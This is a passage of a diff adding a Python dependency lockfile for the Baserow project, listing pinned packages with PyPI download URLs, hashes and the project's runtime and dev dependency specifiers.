+wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/9c/36c5c37947ebfb8c7f22e0eb6e4d188ee2d53aa3880f3f2744fb894f0cb1/anyio-4.12.0-py3-none-any.whl", hash = "sha256:dad2376a628f98eeca4881fc56cd06affd18f659b17a747d3ff0307ced94b1bb", size = 113362, upload-time = "2025-11-28T23:36:57.897Z" }, +] + +[[package]] +name = "argh" +version = "0.31.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/4e/ae/3c1896d2e8c7f74270686f339aa4a07dd8d4ffddde96488fcb1a726eb072/argh-0.31.2.tar.gz", hash = "sha256:db1c34885804f7d4646c385dc2fb19b45298561322f4c15eae1b133993f9e323", size = 57200, upload-time = "2024-01-24T21:30:37.392Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2f/79/c619ba76e97e4932f110f8eb133e823057b1aef82c3dd6b9c6bcb6703dd8/argh-0.31.2-py3-none-any.whl", hash = "sha256:81a9ab43dacfc0d8e08794a140cda7927908417c8f89a969e6554cfc2e872e14", size = 44810, upload-time = "2024-01-24T21:30:35.19Z" }, +] + +[[package]] +name = "asgiref" +version = "3.8.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/29/38/b3395cc9ad1b56d2ddac9970bc8f4141312dbaec28bc7c218b0dfafd0f42/asgiref-3.8.1.tar.gz", hash = "sha256:c343bd80a0bec947a9860adb4c432ffa7db769836c64238fc34bdc3fec84d590", size = 35186, upload-time = "2024-03-22T14:39:36.863Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/39/e3/893e8757be2612e6c266d9bb58ad2e3651524b5b40cf56761e985a28b13e/asgiref-3.8.1-py3-none-any.whl", hash = "sha256:3e1e3ecc849832fe52ccf2cb6686b7a55f82bb1d6aee72a58826471390335e47", size = 23828, upload-time = "2024-03-22T14:39:34.521Z" }, +] + +[[package]] +name = "asttokens" +version = "3.0.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/be/a5/8e3f9b6771b0b408517c82d97aed8f2036509bc247d46114925e32fe33f0/asttokens-3.0.1.tar.gz", hash = "sha256:71a4ee5de0bde6a31d64f6b13f2293ac190344478f081c3d1bccfcf5eacb0cb7", size = 62308, upload-time = "2025-11-15T16:43:48.578Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d2/39/e7eaf1799466a4aef85b6a4fe7bd175ad2b1c6345066aa33f1f58d4b18d0/asttokens-3.0.1-py3-none-any.whl", hash = "sha256:15a3ebc0f43c2d0a50eeafea25e19046c68398e487b9f1f5b517f7c0f40f976a", size = 27047, upload-time = "2025-11-15T16:43:16.109Z" }, +] + +[[package]] +name = "async-timeout" +version = "5.0.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a5/ae/136395dfbfe00dfc94da3f3e136d0b13f394cba8f4841120e34226265780/async_timeout-5.0.1.tar.gz", hash = "sha256:d9321a7a3d5a6a5e187e824d2fa0793ce379a202935782d555d6e9d2735677d3", size = 9274, upload-time = "2024-11-06T16:41:39.6Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fe/ba/e2081de779ca30d473f21f5b30e0e737c438205440784c7dfc81efc2b029/async_timeout-5.0.1-py3-none-any.whl", hash = "sha256:39e3809566ff85354557ec2398b55e096c8364bacac9405a7a1fa429e77fe76c", size = 6233, upload-time = "2024-11-06T16:41:37.9Z" }, +] + +[[package]] +name = "attrs" +version = "25.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6b/5c/685e6633917e101e5dcb62b9dd76946cbb57c26e133bae9e0cd36033c0a9/attrs-25.4.0.tar.gz", hash = "sha256:16d5969b87f0859ef33a48b35d55ac1be6e42ae49d5e853b597db70c35c57e11", size = 934251, upload-time = "2025-10-06T13:54:44.725Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3a/2a/7cc015f5b9f5db42b7d48157e23356022889fc354a2813c15934b7cb5c0e/attrs-25.4.0-py3-none-any.whl", hash = "sha256:adcf7e2a1fb3b36ac48d97835bb6d8ade15b8dcce26aba8bf1d14847b57a3373", size = 67615, upload-time = "2025-10-06T13:54:43.17Z" }, +] + +[[package]] +name = "autobahn" +version = "25.11.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cbor2", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "cryptography", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "hyperlink", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "msgpack", marker = "(platform_python_implementation == 'CPython' and sys_platform == 'darwin') or (platform_python_implementation == 'CPython' and sys_platform == 'linux')" }, + { name = "py-ubjson", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "txaio", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "u-msgpack-python", marker = "(platform_python_implementation != 'CPython' and sys_platform == 'darwin') or (platform_python_implementation != 'CPython' and sys_platform == 'linux')" }, + { name = "ujson", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/0e/3a/aab5632fbd88ed26d330ab156af80c9a90419dfa2841296fd556a65e5fac/autobahn-25.11.1.tar.gz", hash = "sha256:52e62b9cc80c3e989b182952a60fd25c9a69afb00854a925a2b185f7b1f73cf1", size = 447019, upload-time = "2025-11-24T08:31:27.919Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/48/18/c878bc993270390ab4815aaa0a2b80c885ca5952855ae107452264572bb6/autobahn-25.11.1-cp311-cp311-manylinux1_x86_64.manylinux_2_34_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8f5eedd658132c28a5bf3b60ecc8ea91f360a7e53f62ec9eb635bebfee30b58a", size = 668304, upload-time = "2025-11-24T08:31:01.477Z" }, + { url = "https://files.pythonhosted.org/packages/df/8b/24ff81dce2cd8d15b8a57b10cb1db67d3ebf3098a5d8e75b3ac3ac92881b/autobahn-25.11.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:792b9f4af41d7ae5b6f78fa3fda916bf3b0c8794bf0bb6bd6f2910761abd671c", size = 644057, upload-time = "2025-11-24T08:31:03.69Z" }, + { url = "https://files.pythonhosted.org/packages/4d/4b/eff0805aba3b9c0a6b63c31fc059e1e0c55ad3fc37480e9d54598f42c60d/autobahn-25.11.1-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:182719b4162b4b5a78ab477324579e4d4c20d5ef09ef73eb7e5c8475aa355621", size = 610284, upload-time = "2025-11-24T08:31:21.129Z" }, + { url = "https://files.pythonhosted.org/packages/c6/bb/b07f82364fb62a60d57fa095a7cc5a77174fbda160bc1036f855c9effe94/autobahn-25.11.1-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_34_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7af57b2b79c4b3ea421ad7ba9fdcb6d55403822e9f02f8a90fc087c8425e2566", size = 622536, upload-time = "2025-11-24T08:31:22.67Z" }, + { url = "https://files.pythonhosted.org/packages/9c/88/6377f884839e3e4bfcb206fa5b776564889834e63c7363e2af16abf7bb8c/autobahn-25.11.1-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d17b678a51b8f0da273025f408952e4aa6110c0e00ed213f6c2c06d750ba20e8", size = 616979, upload-time = "2025-11-24T08:31:24.201Z" }, +] + +[[package]] +name = "automat" +version = "25.4.16" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e3/0f/d40bbe294bbf004d436a8bcbcfaadca8b5140d39ad0ad3d73d1a8ba15f14/automat-25.4.16.tar.gz", hash = "sha256:0017591a5477066e90d26b0e696ddc143baafd87b588cfac8100bc6be9634de0", size = 129977, upload-time = "2025-04-16T20:12:16.002Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/02/ff/1175b0b7371e46244032d43a56862d0af455823b5280a50c63d99cc50f18/automat-25.4.16-py3-none-any.whl", hash = "sha256:04e9bce696a8d5671ee698005af6e5a9fa15354140a87f4870744604dcdd3ba1", size = 42842, upload-time = "2025-04-16T20:12:14.447Z" }, +] + +[[package]] +name = "autopep8" +version = "2.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pycodestyle", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/4a/65/d187da76e65c358654a1bcdc4cbeb85767433e1e3eb67c473482301f2416/autopep8-2.1.0.tar.gz", hash = "sha256:1fa8964e4618929488f4ec36795c7ff12924a68b8bf01366c094fc52f770b6e7", size = 88891, upload-time = "2024-03-17T10:47:33.726Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7b/09/87d32f364e09faebd126b2e52609182ce71ecc2ccf7e6daf8889704756b7/autopep8-2.1.0-py2.py3-none-any.whl", hash = "sha256:2bb76888c5edbcafe6aabab3c47ba534f5a2c2d245c2eddced4a30c4b4946357", size = 44957, upload-time = "2024-03-17T10:44:22.275Z" }, +] + +[[package]] +name = "azure-core" +version = "1.36.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "requests", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/0a/c4/d4ff3bc3ddf155156460bff340bbe9533f99fac54ddea165f35a8619f162/azure_core-1.36.0.tar.gz", hash = "sha256:22e5605e6d0bf1d229726af56d9e92bc37b6e726b141a18be0b4d424131741b7", size = 351139, upload-time = "2025-10-15T00:33:49.083Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b1/3c/b90d5afc2e47c4a45f4bba00f9c3193b0417fad5ad3bb07869f9d12832aa/azure_core-1.36.0-py3-none-any.whl", hash = "sha256:fee9923a3a753e94a259563429f3644aaf05c486d45b1215d098115102d91d3b", size = 213302, upload-time = "2025-10-15T00:33:51.058Z" }, +] + +[[package]] +name = "azure-storage-blob" +version = "12.27.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "azure-core", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "cryptography", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "isodate", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/36/7c/2fd872e11a88163f208b9c92de273bf64bb22d0eef9048cc6284d128a77a/azure_storage_blob-12.27.1.tar.gz", hash = "sha256:a1596cc4daf5dac9be115fcb5db67245eae894cf40e4248243754261f7b674a6", size = 597579, upload-time = "2025-10-29T12:27:16.185Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3d/9e/1c90a122ea6180e8c72eb7294adc92531b0e08eb3d2324c2ba70d37f4802/azure_storage_blob-12.27.1-py3-none-any.whl", hash = "sha256:65d1e25a4628b7b6acd20ff7902d8da5b4fde8e46e19c8f6d213a3abc3ece272", size = 428954, upload-time = "2025-10-29T12:27:18.072Z" }, +] + +[[package]] +name = "backoff" +version = "2.2.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/47/d7/5bbeb12c44d7c4f2fb5b56abce497eb5ed9f34d85701de869acedd602619/backoff-2.2.1.tar.gz", hash = "sha256:03f829f5bb1923180821643f8753b0502c3b682293992485b0eef2807afa5cba", size = 17001, upload-time = "2022-10-05T19:19:32.061Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/df/73/b6e24bd22e6720ca8ee9a85a0c4a2971af8497d8f3193fa05390cbd46e09/backoff-2.2.1-py3-none-any.whl", hash = "sha256:63579f9a0628e06278f7e47b7d7d5b6ce20dc65c5e96a6f3ca99a6adca0396e8", size = 15148, upload-time = "2022-10-05T19:19:30.546Z" }, +] + +[[package]] +name = "backports-cached-property" +version = "1.0.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/08/83/4cea5c665d2af765c02f7d8e8560b5918405c1d7d11ccfc60c4919c1cfd0/backports.cached-property-1.0.2.tar.gz", hash = "sha256:9306f9eed6ec55fd156ace6bc1094e2c86fae5fb2bf07b6a9c00745c656e75dd", size = 8031, upload-time = "2022-06-14T08:48:18.937Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/eb/ae/69e52acdcf381b108b36d989ea58656de4a9ab8863aba6176d80d01041df/backports.cached_property-1.0.2-py3-none-any.whl", hash = "sha256:baeb28e1cd619a3c9ab8941431fe34e8490861fb998c6c4590693d50171db0cc", size = 6090, upload-time = "2022-06-14T08:48:16.734Z" }, +] + +[[package]] +name = "bandit" +version = "1.7.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyyaml", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "rich", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "stevedore", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/92/60/3f6e0e58f3f53bbb7227daf61654c9b22ff651e670e44cdc08a0f1d0f493/bandit-1.7.8.tar.gz", hash = "sha256:36de50f720856ab24a24dbaa5fee2c66050ed97c1477e0a1159deab1775eab6b", size = 1983678, upload-time = "2024-03-08T19:25:56.173Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c2/88/03935559af80b39cb64a00a4731d62ed2f79f4799c1758eadb01a4ef6b8d/bandit-1.7.8-py3-none-any.whl", hash = "sha256:509f7af645bc0cd8fd4587abc1a038fc795636671ee8204d502b933aee44f381", size = 127633, upload-time = "2024-03-08T19:25:54.618Z" }, +] + +[[package]] +name = "baserow" +source = { editable = "." } +dependencies = [ + { name = "advocate", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "anthropic", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "antlr4-python3-runtime", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "asgiref", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "boto3", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "brotli", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "celery", extra = ["redis"], marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "celery-redbeat", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "celery-singleton", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "channels", extra = ["daphne"], marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "channels-redis", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "dj-database-url", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django-cachalot", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django-celery-beat", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django-celery-email", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django-cors-headers", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django-cte", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django-health-check", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django-redis", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django-storages", extra = ["azure", "google"], marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "djangorestframework", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "djangorestframework-simplejwt", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "drf-spectacular", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "faker", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "flower", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "genson", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "gunicorn", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "icalendar", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "itsdangerous", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "jira2markdown", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "langchain", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "langchain-openai", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "loguru", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "mcp", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "mistralai", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "ollama", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "openai", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "openpyxl", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-api", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-exporter-otlp-proto-http", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation-aiohttp-client", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation-asgi", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation-botocore", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation-celery", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation-dbapi", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation-django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation-grpc", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation-logging", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation-psycopg", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation-psycopg2", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation-redis", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation-requests", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation-wsgi", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-proto", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-sdk", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-semantic-conventions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-util-http", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pgvector", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pillow", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "posthog", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "prosemirror", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "psutil", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "psycopg2-binary", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pyotp", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pysaml2", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "qrcode", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "redis", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "regex", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "requests", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "requests-oauthlib", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "rich", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "sentry-sdk", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "service-identity", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "tqdm", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "twisted", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "tzdata", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "udspy", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "unicodecsv", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "uvicorn", extra = ["standard"], marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "validators", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "websockets", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "zipp", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "zipstream-ng", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] + +[package.dev-dependencies] +dev = [ + { name = "argh", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "autopep8", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "backports-cached-property", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "bandit", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "black", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "build", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "coverage", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "debugpy", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django-silk", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django-stubs", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django-stubs-ext", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "fakeredis", extra = ["lua"], marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "flake8", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "freezegun", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "graphviz", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "httpretty", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "ipdb", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "ipython", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "isort", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "mypy", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "mypy-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "openapi-spec-validator", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pyfakefs", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pyinstrument", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest-asyncio", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest-cov", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest-django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest-env", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest-html", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest-icdiff", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest-mock", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest-ordering", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest-retry", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest-split", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest-testmon", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest-unordered", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytest-xdist", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "responses", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "rust-just", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "snoop", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "watchdog", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] + +[package.metadata] +requires-dist = [ + { name = "advocate", specifier = "==1.0.0" }, + { name = "anthropic", specifier = "==0.75.0" }, + { name = "antlr4-python3-runtime", specifier = "==4.9.3" }, + { name = "asgiref", specifier = "==3.8.1" }, + { name = "boto3", specifier = "==1.40.40" }, + { name = "brotli", specifier = "==1.1.0" }, + { name = "celery", extras = ["redis"], specifier = "==5.5.3" }, + { name = "celery-redbeat", specifier = "==2.2.0" }, + { name = "celery-singleton", specifier = "==0.3.1" }, + { name = "channels", extras = ["daphne"], specifier = "==4.0.0" }, + { name = "channels-redis", specifier = "==4.1.0" }, + { name = "dj-database-url", specifier = "==2.1.0" }, + { name = "django", specifier = "==5.0.14" }, + { name = "django-cachalot", specifier = "==2.6.2" }, + { name = "django-celery-beat", specifier = "==2.6.0" }, + { name = "django-celery-email", specifier = "==3.0.0" }, + { name = "django-cors-headers", specifier = "==4.3.1" }, + { name = "django-cte", specifier = "==1.3.3" }, + { name = "django-health-check", specifier = "==3.18.2" }, + { name = "django-redis", specifier = "==5.4.0" }, + { name = "django-storages", specifier = "==1.14.3" }, + { name = "django-storages", extras = ["azure"], specifier = "==1.14.3" }, + { name = "django-storages", extras = ["google"], specifier = "==1.14.3" }, + { name = "djangorestframework", specifier = "==3.15.1" }, + { name = "djangorestframework-simplejwt", specifier = "==5.3.1" }, + { name = "drf-spectacular", specifier = "==0.28.0" }, + { name = "faker", specifier = "==25.0.1" }, + { name = "flower", specifier = "==2.0.1" }, + { name = "genson", specifier = "==1.3.0" }, + { name = "gunicorn", specifier = "==23.0.0" }, + { name = "icalendar", specifier = "==5.0.12" }, + { name = "itsdangerous", specifier = "==2.2.0" }, + { name = "jira2markdown", specifier = "==0.3.7" }, + { name = "langchain", specifier = "==0.3.27" }, + { name = "langchain-openai", specifier = "==0.3.35" }, + { name = "loguru", specifier = "==0.7.2" }, + { name = "mcp", specifier = "==1.9.4" }, + { name = "mistralai", specifier = "==1.1.0" }, + { name = "ollama", specifier = "==0.1.9" }, + { name = "openai", specifier = "==2.2.0" }, + { name = "openpyxl", specifier = "==3.1.5" }, + { name = "opentelemetry-api", specifier = "==1.37.0" }, + { name = "opentelemetry-exporter-otlp-proto-http", specifier = "==1.37.0" }, + { name = "opentelemetry-instrumentation", specifier = "==0.58b0" }, + { name = "opentelemetry-instrumentation-aiohttp-client", specifier = "==0.58b0" }, + { name = "opentelemetry-instrumentation-asgi", specifier = "==0.58b0" }, + { name = "opentelemetry-instrumentation-botocore", specifier = "==0.58b0" }, + { name = "opentelemetry-instrumentation-celery", specifier = "==0.58b0" }, + { name = "opentelemetry-instrumentation-dbapi", specifier = "==0.58b0" }, + { name = "opentelemetry-instrumentation-django", specifier = "==0.58b0" }, + { name = "opentelemetry-instrumentation-grpc", specifier = "==0.58b0" }, + { name = "opentelemetry-instrumentation-logging", specifier = "==0.58b0" }, + { name = "opentelemetry-instrumentation-psycopg", specifier = "==0.58b0" }, + { name = "opentelemetry-instrumentation-psycopg2", specifier = "==0.58b0" }, + { name = "opentelemetry-instrumentation-redis", specifier = "==0.58b0" }, + { name = "opentelemetry-instrumentation-requests", specifier = "==0.58b0" }, + { name = "opentelemetry-instrumentation-wsgi", specifier = "==0.58b0" }, + { name = "opentelemetry-proto", specifier = "==1.37.0" }, + { name = "opentelemetry-sdk", specifier = "==1.37.0" }, + { name = "opentelemetry-semantic-conventions", specifier = "==0.58b0" }, + { name = "opentelemetry-util-http", specifier = "==0.58b0" }, + { name = "pgvector", specifier = "==0.4.1" }, + { name = "pillow", specifier = "==10.4.0" }, + { name = "posthog", specifier = "==7.0.1" }, + { name = "prosemirror", url = "https://github.com/fellowapp/prosemirror-py/archive/refs/tags/v0.3.5.zip" }, + { name = "psutil", specifier = "==5.9.8" }, + { name = "psycopg2-binary", specifier = "==2.9.10" }, + { name = "pyotp", specifier = "==2.9.0" }, + { name = "pysaml2", specifier = "==7.5.0" }, + { name = "qrcode", specifier = "==8.2" }, + { name = "redis", specifier = "==5.2.1" }, + { name = "regex", specifier = "==2025.10.23" }, + { name = "requests", specifier = "==2.32.5" }, + { name = "requests-oauthlib", specifier = "==2.0.0" }, + { name = "rich", specifier = "==13.7.1" }, + { name = "sentry-sdk", specifier = "==2.29.1" }, + { name = "service-identity", specifier = "==24.1.0" }, + { name = "tqdm", specifier = "==4.66.4" }, + { name = "twisted", specifier = "==24.11.0" }, + { name = "typing-extensions", specifier = ">=4.14.1" }, + { name = "tzdata", specifier = "==2025.2" }, + { name = "udspy", specifier = 